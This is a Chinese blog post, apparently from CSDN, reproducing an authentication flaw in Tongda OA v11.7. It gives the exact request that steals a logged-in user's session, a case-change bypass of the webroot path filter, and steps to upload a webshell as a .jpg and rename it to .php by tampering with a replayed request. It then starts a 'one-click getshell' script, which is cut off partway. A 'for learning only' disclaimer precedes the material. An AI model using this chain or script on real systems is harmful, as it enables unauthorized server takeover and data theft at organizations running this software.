通达OA v11.7 在线用户登录漏洞复现(附带一键getshell脚本)

本文详细介绍了通达OA v11.7的一个在线用户登录漏洞,包括如何获取phpsession,访问后台,上传木马并修改后缀以实现GetShell。提供了一键GetShell脚本,并强调仅供学习,禁止非法使用。
摘要由CSDN通过智能技术生成

在这里插入图片描述
在文章的顶部先说明,本文章所介绍的内容以及所附带的脚本仅供学习,如果存在有牟利行为,个人负责!!!
仅用于学习娱乐,切勿用于非法用途!
请于下载后24小时内删除,使用者承担所有法律责任!
一个类似于越权的漏洞,但是利用的方式确实比较特殊

访问漏洞页面获取phpsession

http://x.x.x.x/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
在这里插入图片描述
可以看到我们已经获取到了phpsession,这个时候我们就可以访问他的后台页面了,但是如果页面显示RELOGIN说明存在漏洞但是管理员现在不在线,所以需要等他在线。

访问后台页面:

http://x.x.x.x/general/

在这里插入图片描述

查看本地的绝对路径
在这里插入图片描述

新建一个附件目录
在这里插入图片描述
在这里插入图片描述
这里需要注意:我们要添加一个路径为系统目录后面跟上webroot,但是webroot会被过滤,但是他没有检查大小写,所以我们改为Webroot就可以轻松绕过。
添加图片目录
在这里插入图片描述
在这里插入图片描述
这里唯一需要注意的是我们需要将发布范围里添加一个系统管理员,这样子才可以,路径的话呢还是webroot那个路径。
上传木马
在这里插入图片描述
然后我们添加一个文件,也就是我们的shell
在这里插入图片描述
这里需要注意的是,我们需要将我们的木马改为jpg后缀的,要不路径无法查看。
查看木马路径
在这里插入图片描述
在这里插入图片描述
这个时候记住这个文件名称,这个路径是固定的就是file_folder/2013下面就是我们的木马。
修改木马后缀
回到我们之前的上传页面,然后点击编辑。
在这里插入图片描述
鼠标放到我们木马上面,然后点击重命名。

我们会打开一个新的tab页面,我们使用火狐进行抓包:

先随便改个名字,点击保存,然后会拦截到一个post封包。

数据包格式大概是这个样子:
在这里插入图片描述
这个时候我们就需要修改ATTACHMENT_NAME_POSTFIX属性为php.(注意后面有个.)
然后重放这个数据包,就可以看到修改成功。

拼接木马路径

在这里插入图片描述

可以看到我们修改成功。

然后找到之前的文件名,然后将我们上传的原始的文件名(2.jpg)改为(166.php),这个是根据你上传的路径以及改的名称来定的,然后路径的话呢还是file_folder/2013,我们就可以访问到我们的马子了。

一键GetShell脚本

脚本代码:

#define payload = /mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0
#define yinhao = "
#define Rootre = <td nowrap class="TableData">(.*?)</td>
#define contentidre = "TableLine1" index="(.*?)" >
#define attachmentidre = ATTACHMENT_ID_OLD" value="(.*?),"
#define shellpathre = alt="(.*?)" node-image-tips
function GetCookie(url){
   
        res = HttpGet(url.payload,"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0");
        if(StrFindStr(res[1],"PHPSESSID",0) == "-1"){
   
                return "";
        }
        PHPSESSID = GettextMiddle(res[1],"PHPSESSID=",";");
        return PHPSESSID;
}
function JudgeOK(url,Cookie){
   
        res = HttpGet(url."/general/",Cookie);
        if(StrFindStr(res[0],"/static/js/ba/agent.js",0) == "-1"){
   
                return "0";
        }else{
   
                return "1";
        }

}
function GetRoot(content){
   
        list = StrRe(content,Rootre);
        num = GetArrayNum(list);
        num = num/2;
        i = 0;
        while(i<num){
   
                if(StrFindStr(list[ToInt(i*2+1)]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值